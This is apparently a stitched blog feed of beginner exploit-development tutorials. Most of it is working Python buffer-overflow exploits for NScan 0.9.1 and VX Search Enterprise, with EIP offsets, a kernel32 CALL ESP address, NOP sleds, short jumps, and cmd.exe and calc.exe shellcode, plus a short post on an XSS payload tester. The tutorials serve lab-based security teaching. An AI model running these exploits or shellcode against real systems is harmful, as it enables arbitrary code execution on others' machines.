Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co'/>
</classify>
We’ll get another crash, but this time the program is holding onto our pattern buffer.
Plug in the value we now see in EIP (0x42327A42) into the command below:
!mona po 0x42327A42
This is the short version command for “pattern_offset”.
We can see from the command output that the offset to EIP is 1536 bytes. You can also run “!mona findmsp” while the pattern buffer is still in the crashed program to get detailed information about parts of the program holding the pattern. Be warned though, it takes a few minutes so go and get a cup of coffee while it does its thing.
Now, let’s confirm our offset by writing a Python proof-of-concept script:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1536 # 1536 bytes to hit EIP
eip = struct.pack("<L", 0xdeadbeef) # Use little-endian to test address 0xdeadbeef
exploit = junk + eip # Combine our offset bytes and EIP overwrite
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (0x43 = C)
buf = exploit + fill # Combine everything together for exploitation
# Write buffer to specially crafted XML file for overflow in "name" attribute
xml_payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf + '\'/>\n</classify>'
try:
f = open("C:\\payload.xml", "wb") # Exploit output will be written to C directory, change to other dir if needed
f.write(xml_payload) # Write entirety of buffer out to file
f.close() # Close file
print "\nVX Search Enterprise Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
In the above Python script, we are setting up our EIP overwrite by writing 1536 bytes of filler junk bytes, then we plug in our chosen EIP value (0xdeadbeef). Next, we write out this buffer to our XML file that contains the overflow vulnerability and write it to the C:// directory. Let’s run this script and then drag + drop it to the Desktop. Restart vxsrch.exe in Immunity and “Import command…” the XML file just like before and inspect the contents of EIP.
Aha! We have deadbeef! Now that we’ve confirmed we can directly control the EIP value, we can move onto the next step where we plug in a useful address for code execution.
Let’s try and jump to the stack then execute mock shellcode with interrupt (INT 0xCC) instructions like we did with NScan previously. First, issue a command to Mona that will find a suitable assembly instruction to get into the stack (after restarting and running the vsrchc.exe program in Immunity):
!mona jmp -r esp
Open up the jmp.txt file in the logs directory and take a look. It appears as though kernel32.dll is a good reliable choice, so we’ll pick that.
Let’s update our Python script and plug in the kernel32.dll CALL ESP address, then put in some mock shellcode that will pause execution when it’s hit in the debugger:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1536 # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24 # 24 byte NOP sled to get to mock code
shellcode = "\xCC"*250 # 250 byte block of mock INT shellcode to test
exploit = junk + eip + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (0x43 = C)
buf = exploit + fill # Combine everything together for exploitation
# Write buffer to specially crafted XML file for overflow in "name" attribute
xml_payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf + '\'/>\n</classify>'
try:
f = open("C:\\payload.xml", "wb") # Exploit output will be written to C directory, change to other dir if needed
f.write(xml_payload) # Write entirety of buffer out to file
f.close() # Close file
print "\nVX Search Enterprise Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
You can see that we added in the address 0x7C836A78 for the CALL ESP instruction and added a “shellcode” variable with 250 bytes of interrupt (0xCC) code preceded by 24 bytes of NOP sled in the “nops” variable. Again, what this should do is CALL ESP to start executing code from the stack, slide down the NOP sled into our mock shellcode and then pause. Let’s try this out by running the script, placing the generated XML on the Desktop, restarting + starting (Ctrl-F2 → F9) the VX Search program and loading in the XML file. And the results are…
Awesome! We hit our INT instructions, but wait… It appears as though our mock shellcode gets interrupted part way through at 0x00122870 and 0x00122872. We don’t see our mock code there, we just see some other random instructions. That’s annoying and unexpected… Well, why don’t we just jump over this? Here is an opportunity for us to learn about how to use short jump assembly instructions in our exploit code!
First, we need to go over some brief theory and how to go about using short jump assembly instructions in our exploit script. The main objective is to hop over the portion of the stack that interrupts our shellcode. In assembly, the instruction JMP 10 will cause the instruction pointer to skip forward by 16 bytes. JMP takes an argument in hex (which is Base 16), so if you want to skip ahead 18 bytes then it would be JMP 12. You can use a hex calculator online to make these calculations for you.
The JMP instruction will use relative offset values from 00h to 7Fh, in other words, you can jump to another instruction with a maximum of 127 bytes in-between them. You can read a very good explanation of the short JMP x86 assembly instruction here.
After using a JMP instruction to hop over the messed up portion of the stack, we should put in a NOP slide in case there are any positional changes on a different system. Ideally, we’d like the JMP to land us in the middle of a NOP sled. Let’s start adding this into our Python script, first thing to do is translate JMP 10 into object code. We can do this by using the Mona command:
!mona assemble -s “jmp 10”
We can then begin reviewing the output in the Log window (View → Log or Alt-L, use Alt-C to return back).
Okay great, so we can plug in the object code “\xeb\x10” to our Python script and use 16 byte NOPs to reach the part where our jump will land with another 16 byte NOP sled to slide into our shellcode. Let’s add it to our script below:
vxsearch_poc.py #3 Stack Diagram
16 bytes
+----------+ +---------------+
1536 bytes 4 bytes | V | V 250 bytes
+------------------------------+----------+-------+--+--------+-+-+-+--+--------+-----+----------------------------+------------------+
| | | | | |XX| | | |
| junk (AAAAAA...) | eip (0x7C836A78) | NOP sled |JMP| |XX| NOP sled 2 | mock shellcode (0xCC 0xCC) | fill (CCCCCC...) |
| | | (0x90) |10 | |XX| (0x90) | | |
+------------------------------+------------------+-----------+---+-++-+--------------+----------------------------+------------------+
BUF_SIZE = 2000 bytes ^
|
+ Bytes interrupting
our shellcode
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1536 # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24 # 24 byte NOP sled to get to mock code
jump = "\xEB\x10" # 16 byte short jump over interrupted section (JMP 10)
nops2 = "\x90"*16+"\x90"*16 # 16 byte NOPs to get to jump landing + 16 byte NOPs to slide into shell
shellcode = "\xCC"*250 # 250 byte block of mock INT shellcode to test
exploit = junk + eip + nops + jump + nops2 + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (0x43 = C)
buf = exploit + fill # Combine everything together for exploitation
# Write buffer to specially crafted XML file for overflow in "name" attribute
xml_payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf + '\'/>\n</classify>'
try:
f = open("C:\\payload.xml", "wb") # Exploit output will be written to C directory, change to other dir if needed
f.write(xml_payload) # Write entirety of buffer out to file
f.close() # Close file
print "\nVX Search Enterprise Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
As you can see, we added in our jump instruction in the “jump” variable and inserted our NOP sled after the jump landing in the “nops2” variable. Now, run the script, restart the program in Immunity and open the generated XML file with “Import command…”, you should see that we have successfully hopped over the section of code that was causing us problems and into our mock INT shellcode. Brilliant!
To really drive the point home, we can do a slow motion walkthrough of what’s going on here with the jump. If you’d like to do this, follow these steps:
Pretty cool to see it in action, eh? That’s the wonder of dynamic analysis and debuggers, you can dissect piece-by-piece a program as it’s running then bring it back to life when it dies, like some kind of mad scientist.
The shellcode we will be using is one that opens up a command prompt (cmd.exe) and terminates the program that opened it, we’re getting it from shell-storm. Our plan now is to replace our mock shellcode with the real deal and see if it runs. So, let’s plug it into our script and test it out:
vxsearch_poc.py #4 Stack Diagram
16 bytes
+----------+ +---------------+
1536 bytes 4 bytes | V | V 195 bytes
+------------------------------+----------+-------+--+--------+-+-+-+--+--------+-----+----------------------------+------------------+
| | | | | |XX| | | |
| junk (AAAAAA...) | eip (0x7C836A78) | NOP sled |JMP| |XX| NOP sled 2 | shellcode (cmd.exe) | fill (CCCCCC...) |
| | | (0x90) |10 | |XX| (0x90) | | |
+------------------------------+------------------+-----------+---+-++-+--------------+----------------------------+------------------+
BUF_SIZE = 2000 bytes ^
|
+ Bytes interrupting
our shellcode
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1536 # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24 # 24 byte NOP sled to get to shellcode
jump = "\xEB\x10" # 16 byte short jump over interrupted section (JMP 10)
nops2 = "\x90"*16+"\x90"*16 # 16 byte NOPs to get to jump landing + 16 byte NOPs to slide into shell
# Command prompt (cmd.exe) shellcode + process exit (195 bytes)
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
shellcode += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
shellcode += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
shellcode += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
shellcode += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
shellcode += "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
shellcode += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
shellcode += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
shellcode += "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
shellcode += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
shellcode += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
shellcode += "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
shellcode += "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
shellcode += "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
shellcode += "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
shellcode += "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
shellcode += "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
shellcode += "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
shellcode += "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
shellcode += "\x24\x20\x57\xFF\xD0"
# Mix it all together and baby, you've got a stew going!
exploit = junk + eip + nops + jump + nops2 + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (0x43 = C)
buf = exploit + fill # Combine everything together for exploitation
xml_payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf + '\'/>\n</classify>'
try:
f = open("C:\\payload.xml", "wb") # Exploit output will be written to C directory, change to other dir if needed
f.write(xml_payload) # Write entirety of buffer out to file
f.close() # Close file
print "\nVX Search Enterprise JMP Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
You can see that we added in the cmd.exe shellcode and we now have our final payload. Perform the usual dance of Ctrl-F2 to restart and F9 to start the vulnerable program with Immunity attached, load in the generated XML payload file and presto! The program terminated and we have a brand new command prompt open. Hooray for working payloads!
Let’s look back at what we just did and see what lessons can be learned:
And that’s the end of Part 2! I hope that this discussion of jump instructions to get around interrupts in shellcode proved helpful to you. At this point, you should be pretty comfortable with the debugging workflow and exploit development cycle for stack buffer overflows. We’ll start to get into new methods of exploitation in Part 3 next week. I’ll list some additional resources you can look at for discussions on even more techniques you can use to hop around the stack at the end of this post.
If you ever want to give me feedback, feel free to tweet at me (@shogun_lab) and follow to keep up to date with Shogun Lab. Email can be sent to steven@shogunlab.com. RSS feed can be found here.
Hope to see you again for Part 3!
お疲れ様でした。
UPDATE: Part 3 is posted here.
Also, check out the 0research podcast. It’s a great source of info to keep up to date on security news/tools and they gave a mention to this blog at the end of Episode #18. Thanks Alex and Matt!
Tutorials
]]>In Part 1 of this series, we’ll be exploiting a stack buffer overflow using a Saved Return Pointer Overwrite attack. Hopefully, you’re all caught up on the necessary prerequisite knowledge after reading Part 0 and you’re itching to develop an exploit. Our target is going to be the Windows port scanner NScan version 0.9.1 (download it here). Details for this exploit were found on Exploit-DB. After downloading and installing the vulnerable program on your Windows XP virtual machine, you’ll see a few executables:
The one that has a vulnerability is the dig.exe program, open that up and find the “Target” field. That’s the area which contains a stack buffer overflow bug and you can verify this by copy + pasting a large string of 1100 A’s into the text field then pressing “TCP lookup” to see if it crashes.
We’ll need Python 2.7 for our future exploit scripts so go ahead and install it from here, you can also use it for generating this string of A’s by using the following command from the command line:
python -c “print ‘A’*1100”
It crashed! A program crashing from user input is usually the very beginning of an exploit development journey. Now, let’s turn this into a working exploit that can execute arbitrary code by completing the rest of the steps in the development process.
We know the program can be crashed by our input, but we want to closely examine why it’s crashing first. A good way to do that is by inspecting the program with a debugger, specifically, Immunity Debugger. Start up Immunity Debugger and click on the Open button in the File menu, then browse to the directory dig.exe is installed at.
Now, it should be loaded into the program and you’ll see the windows populate with data. This information includes details about the registers, the stack and parts of memory. Now, click Debug and Run to start the program (or press F9). It should be running now so, copy and paste the input that crashes dig.exe into the text field again, then check out the registers window in Immunity.
Aha! See the EIP register over there? The dig.exe program is trying to access a part of memory that it isn’t allowed to, 0x41414141. Where did that address come from? Well, it came from our text field input! The character “A” in ASCII hexadecimal is the number 41. The program stored the letter A into the text field buffer until it overflowed and replaced the contents of the return address on the stack (hence the name “stack buffer overflow vulnerability”) with the letters AAAA or 0x41414141. This is what will get you excited as a budding exploit developer, what this means is that you can directly control the value of the EIP register and consequently control the flow of the target program. We’ve confirmed beyond a doubt that there exists a stack buffer overflow which directly overwrites the EIP register. But, we’re not done yet because now we want to leverage this control and execute our own code.
So, we know that EIP gets overwritten by content from the text field buffer, but where? Which four A’s are the ones that get put into the EIP register out of the 1100 we pasted in? A painfully slow process would be to divide up our flood of A’s into AAAAAAAAAABBBBBBBBBBBCCCCCCCCCDDDDDDDDDDDDD and see if we can pin down which section EIP lands in. If it’s 42 then it’s somewhere in the B range, if it’s 43 then somewhere in C, etc. Then, you’ll need to narrow things down even further by dividing it more until you have narrowed it down to your 4 byte region. Luckily, we can avoid this because the fine folks at Corelan have developed a Python plugin for Immunity Debugger called Mona.
To install it, download the script on the Github page here and place the “mona.py” file inside the PyCommands folder in the Immunity directory (C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands). Now, restart the debugger and type “!mona config -set workingfolder c:\logs\%p” in the input bar, then hit enter to set up the folder where our Mona text logs will go. If all goes well, you won’t get any errors and you’ll be ready to issue some commands.
Restart dig.exe (Debug → Restart) or press Ctrl-F2 then hit Run (F9), enter the command “!mona pattern_create 1100” to generate a repeating pattern of ASCII characters that we can use to immediately identify where in our buffer EIP is being overwritten. Next, go to the logs directory you specified and you should see a new folder named “dig” where you’ll find the generated pattern in a file called “pattern.txt”. Copy and paste the text portion under “ASCII:” into the dig.exe “Target” text field and hit TCP lookup.
Now, check the EIP register and you’ll see 0x68423268, this looks to be part of the ASCII buffer we pasted in. Let’s use Mona again to find the exact part of the buffer where we can overwrite EIP by entering “!mona pattern_offset 0x68423268”. We’ll get back output saying “Pattern h2Bh (0x68423268) found in cyclic pattern at position 997”. Awesome! Now, we know that 997 bytes into our buffer, we hit the part that overwrites the EIP register.
Mona also provides more information about the overflowed buffer with the “!mona findmsp” command. Hold on to your pants because this will take a few minutes, it’ll say “Searching…” while it does its magic. When it’s finished the “Searching…” text will disappear and the console will display the words “Done. Let’s rock ‘n roll.”.
The output of this command will tell us some crucial information, including the EIP offset “EIP contains normal pattern : 0x68423268 (offset 997)”, length of buffer on the stack “ESP (0x00d3ff18) points at offset 1001 in normal pattern (length 99)” and additional buffers that contain the pattern along with their offsets “ECX contains normal pattern : 0x67423867 (offset 985)”. Let’s verify this and test it out with a Python script.
nscan_poc.py #1 Stack Diagram
997 bytes 4 bytes
+------------------------------+------------------+--------------------+
| | | |
| junk (AAAAAA...) | eip (0x42424242) | fill (CCCCCC...) |
| | | |
+------------------------------+------------------+--------------------+
BUF_SIZE = 1100 bytes
BUF_SIZE = 1100 # Set a consistent total buffer size
junk = "\x41"*997 # 997 bytes to hit EIP
eip = "\x42"*4 # Overwrite with B char (0x42) to confirm control
exploit = junk + eip # Combine junk + eip into exploit buffer
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("c:\\nscan_poc.txt", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nNScan 0.9.1 Saved Return Pointer Overwrite Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
In this script, we define a consistent total buffer size for our exploit and build a buffer that will allow us to specify an arbitrary address for EIP. In the buffer, we have a block of A character bytes in the variable “junk” because we want to get to EIP and overwrite it with our own address, we can do that by filling our buffer with throwaway or “junk” bytes until we hit the part where EIP is overwritten. These bytes act as an offset for the EIP overwrite. We also include final padding bytes at the end in the variable “fill” to fill the parts not taken up by our shellcode and keep a consistent buffer size.
The output from this script will be saved as a text file named “nscan_poc.txt” at “C:\\nscan_poc.txt” where we can easily copy and paste from. We have chosen to use a test address of “\x42\x42\x42\x42”, if we run the script and paste the output into the buffer after restarting and starting the program again with the debugger (Ctrl-F2 → F9) we should see 0x42424242 in EIP. This confirms that we have correctly determined the offset to reach our EIP overwrite with A characters filling 997 bytes of the buffer, B characters placed into the EIP register and the rest of our buffer being filled with C character padding.
But, this isn’t that helpful, let’s try putting an actual instruction into the EIP register instead of ASCII characters. We want to grab an assembly instruction that will let us execute code in parts of the buffer we control. Let’s start to evaluate our options for EIP in the next step.
Okay, so we have confirmed we can overwrite EIP and confirmed we can specify an arbitrary address. Which address containing what instruction should we target? For this tutorial, we’re choosing to target the ESP register for our code execution. We can see from the !mona findmsp output previously that it contains our generated pattern and has 99 bytes of space for our code. Generally, we want to have as much uninterrupted space as possible to host our code, in case we may want to add larger and more complex payloads in the future. Also, in this tutorial we’re trying to keep things simple by looking at straightforward overflows directly into code execution. Later on, we’ll review jumping to other parts of the buffer that may be held by other registers.
Let’s use Mona again to find a suitable assembly instruction to jump into ESP and execute code from the stack. Issue the command “!mona jmp -r esp” after restarting and starting the program, then go back into the dig folder where you’ll find a file named “jmp”. Inspect the file and you’ll see a big list of potential addresses containing ESP jump instructions to choose from. Ideally, we would like to choose an instruction that comes from an application module because this will allow our exploit to be more portable. But, since this isn’t the case here, we’ll settle for a Windows module that is usually present on Windows installations called kernel32.dll. Find the instruction from the kernel32.dll file and add it to the Python script.
nscan_poc.py #2 Stack Diagram
+----------+
997 bytes 4 bytes | v
+------------------------------+----------+-------+--------------------------+------------------+
| | | | |
| junk (AAAAAA...) | eip (0x7C836A78) | shellcode (INT 0xCC...) | fill (CCCCCC...) |
| | | | |
+------------------------------+------------------+--------------------------+------------------+
BUF_SIZE = 1100 bytes
import struct
BUF_SIZE = 1100 # Set a consistent total buffer size
junk = "\x41"*997 # 997 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
shellcode = "\xCC"*45 # 45 bytes of mock interrupt (INT) code
exploit = junk + eip + shellcode # Combine our eip with jump to stack including mock code
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("c:\\nscan_poc.txt", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nNScan 0.9.1 Saved Return Pointer Overwrite Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
What this should do is start executing instructions stored on the stack, we put in some INT (0xCC) interrupt instructions and see if we hit them after our exploit runs as a piece of mock code. In the update Python script, you’ll see we added in the “call esp” instruction from kernel32.dll and our interrupt instructions. Run the script and copy+paste the contents into the text field and… voila! We have successfully hit our interrupt instructions. We’ve just proven that our exploit can run code from the stack, great! Let’s find a more useful block of code to execute and sub it in for our final step.
Shellcode is a block of object code generated from assembly language compiler programs and can be used to do all sorts of things like spawn command shells, connect to attacker controlled servers, download malware, etc. But, we just want to prove we can execute arbitrary code so we’ll begin with shellcode that harmlessly opens a program, like the Windows calculator calc.exe. Here is the shellcode we will be using:
\x31\xC9 # xor ecx,ecx
\x51 # push ecx
\x68\x63\x61\x6C\x63 # push 0x636c6163
\x54 # push dword ptr esp
\xB8\xC7\x93\xC2\x77 # mov eax, 0x77c293c7
\xFF\xD0 # call eax
What this does is pop up a calculator (aka “popping calc”) and demonstrate that our exploit can successfully execute arbitrary code through the vulnerable program. I leave it as an exercise to the reader to build more dangerous payloads, but be warned that you should never execute shellcode you don’t trust or don’t understand (it’s the equivalent of blindly opening an unknown .exe file). Also, notice the lack of any 00 bytes in the shellcode? This is because \x00 is a “NULL byte”, it acts as a signal to the processor that the character buffer is finished! If our shellcode had any of those, it would end prematurely… We don’t want that, so you’ll always see shellcode that is stripped of NULL bytes. You should be careful of NULL bytes in other parts of your exploit too and remove them.
We’ll add this to our Python script and preface it with some NOP instructions, these assembly instructions tell the processor to do nothing or “NO OPERATION”. It accounts for small positioning changes that might be introduced in the system because hitting one NOP command causes no action to take place and the system happily chugs on to the next one. This creates a kind of “slide” or “sled” as the processor runs through all the NOPS until hitting our shellcode. If EIP were to land 4 bytes into the NOP sequence, it doesn’t matter because it will still slide on down to reach the shellcode. But, if the NOPs were not there, EIP might land 4 bytes into our shellcode, skipping a bunch of our instructions and causing the exploit to fail. So let’s hedge our bets with a 16 byte NOP sled shall we?
nscan_poc.py #3 Stack Diagram
+----------+ +-------------+
997 bytes 4 bytes | v 16 bytes | v
+------------------------------+----------+-------+---------------+-----------+------------------------------------+------------------+
| | | | | |
| junk (AAAAAA...) | eip (0x7C836A78) | NOP sled (0x90 0x90 ...) | shellcode (calc.exe 0x31 0xC9 ...) | fill (CCCCCC...) |
| | | | | |
+------------------------------+------------------+---------------------------+------------------------------------+------------------+
BUF_SIZE = 1100 bytes
import struct
BUF_SIZE = 1100 # Set a consistent total buffer size
junk = "\x41"*997 # 997 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*16 # 16 byte NOP sled to get into our shellcode
# calc.exe shellcode for WinXP SP3 on stack
shellcode = "\x31\xC9" # xor ecx,ecx
shellcode += "\x51" # push ecx
shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163
shellcode += "\x54" # push dword ptr esp
shellcode += "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
shellcode += "\xFF\xD0" # call eax
exploit = junk + eip + nops + shellcode # Combine our exploit with a NOP sled and working shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("c:\\nscan_poc.txt", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nNScan 0.9.1 Saved Return Pointer Overwrite Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
This is our final script! We’ve got our junk A bytes to get an EIP overwrite with our CALL ESP address in it. Then, we slide through a 16 byte NOP sled into our calc.exe shellcode. Let’s run it, paste the output in after restarting and starting dig.exe in Immunity and… calculator! Our exploit payload was successfully executed, proving to the world that the program is at risk of arbitrary code execution. Great job! If your heart is now filling with joy at the sight of calc.exe, a symbol of triumph and endless possibilities stretching out before you, then you might just be destined to be an exploit developer.
Congratulations! Take a moment to celebrate your victory and revise the small goals you had to achieve before getting to that final goal of a little calculator popping up:
Try as often as you can to break things up into small, manageable chunks like we just did. This strategy can save you from becoming overwhelmed by seemingly impossible problems because you feel like you are making progress and can problem solve more efficiently by focusing on small goals.
I hope you enjoyed this initial foray into vulnerability research and exploit development. I’m always looking to improve my writing and explanations, so if you were confused by anything or just want to give me some feedback then please send an email to steven@shogunlab.com. You can also follow me on Twitter to keep up to date on Shogun Lab news (@shogun_lab). RSS feed can be found here.
If you’ve got the bug and want to keep learning about stack buffer overflows, please consult the list of resources at the end of this post. Otherwise, I’ll see you for Part 2 next week!
お疲れ様でした。
UPDATE: Part 2 is posted here.
Stack Buffer Overflow Tutorials
Stack Buffer Overflow Research
]]>Welcome to the first post in a series of tutorials on exploit development and vulnerability discovery! I’ve spent a great deal of time studying this area of computer security and I’m eager to share with others what I have learned. In doing so, I hope that I can gain a better understanding of these subjects while also helping others who are new to the wild world of exploit development. This post will go through the development environment setup you’ll need to perform to follow along in Part 1 next week and general tips for newbies. So without further ado, let’s get started!
The first set of tutorial posts will be dealing with exploit development on the Windows platform. We want to start small and slowly work our way up towards more complex exploits on systems with greater degrees of mitigations, so we’ll begin with simple buffer overflow exploits on Windows XP (32-bit). To get prepared, you’ll need to setup a virtual environment for testing our exploits:
After you’ve completed those 3 steps, you will be ready to tackle the upcoming tutorials with a glorious virutal environment. Awesome job!
Before starting, some brief advice for you that I wish I had when I began exploit development.
I hope you are as excited as I am to learn about exploit development and vulnerability discovery. I’m looking forward to giving back to the community that has been so kind to me. Since beginning my own journey into this field, I’ve discovered how interesting and challenging the work can be. I sincerely enjoy the time I spend researching vulnerabilities and crafting an exploit, each piece of software is like a tiny universe with secrets that haven’t been uncovered yet. Perhaps some of you will discover a similar enjoyment.
Fair warning though, I’ll be presuming you have some level of basic computer science knowledge. I won’t be explaining in detail assembly language or how the stack works, I’m going to assume you understand these things already. If you currently lack this knowledge, no worries! You can see a list of resources at the end of this post to read up on/watch before coming back to this set of tutorials. See you for Part 1 next week, you can subscribe to the RSS feed if you want to be notified right away.
頑張って!
UPDATE: Part 1 is posted here.
x86 Assembly Language
C Function Call Conventions and the Stack
Intro to x86: Architecture, Assembly, Applications
Shuriken was written in Python 2 and based off of another Python based XSS tool called XssPy written by Faizan Ahmad. My motivation for creating Shuriken was that I wanted to practice developing security tools in Python and I also wanted to have a quick way of testing a bunch of XSS payloads on a target URL. XssPy was an interesting tool, but it included a variety of features that were more than what I needed in most cases and was better fit for auditing many links on a single domain for XSS.
Some features I thought were missing in other command line XSS tools was the lack of screenshot capabilities and clean logs. With these desired features in mind, I developed Shuriken to allow testers to easily get started with running payloads against a single target URL and checking the results for false positives.
I learned a lot during development of Shuriken and it really helped me improve my rusty Python programming skills. I discovered a fantastic Python library for leveraging headless browsers to do XSS audits, I highly encourage anyone interested in doing similar development to see the Splinter docs. The browser I chose to use for this testing is PhantomJS and so far, I haven’t had any issues with it. It captures screenshots nicely and appears to websites as a legitimate user browsing around, instead of an illegitimate hacking tool.
Early on I had some difficulty getting the PhantomJS browser to play nice with Splinter, but after consulting with Google-sensei, I was able to get it installed and running XSS payloads. Speaking of XSS payloads, many of them include exotic characters that mess with Web Application Firewall filters. What this also means is that they don’t do well with being output in the command line. The following code fixed this problem by changing to UTF-8:
def __init__(self):
# Expect some weird characters from fuzz lists, make encoding UTF-8
reload(sys)
sys.setdefaultencoding('utf8')
Another problem that I dealt with was that screenshots were not helpful when they could not be linked to the payload that generated them. To solve this, I added an index that would be included in the screenshot name and then removed line breaks in the log file. Then, I could just match the line numbers to the screenshot index to see which URL matched with which screenshot. This is sort of a hacky solution, so if anyone knows a more elegant method then I’d love to hear it!
Looking forward, I’d like to add the ability to test XSS payloads on POST requests (currently Shuriken can only test GET requests). In addition, I would be interested in making the tool faster and maybe add concurrency. If anyone is interested in contributing, feel free to fork away! I can be contacted directly at steven@shogunlab.com.
Shuriken GitHub repo: https://github.com/shogunlab/shuriken
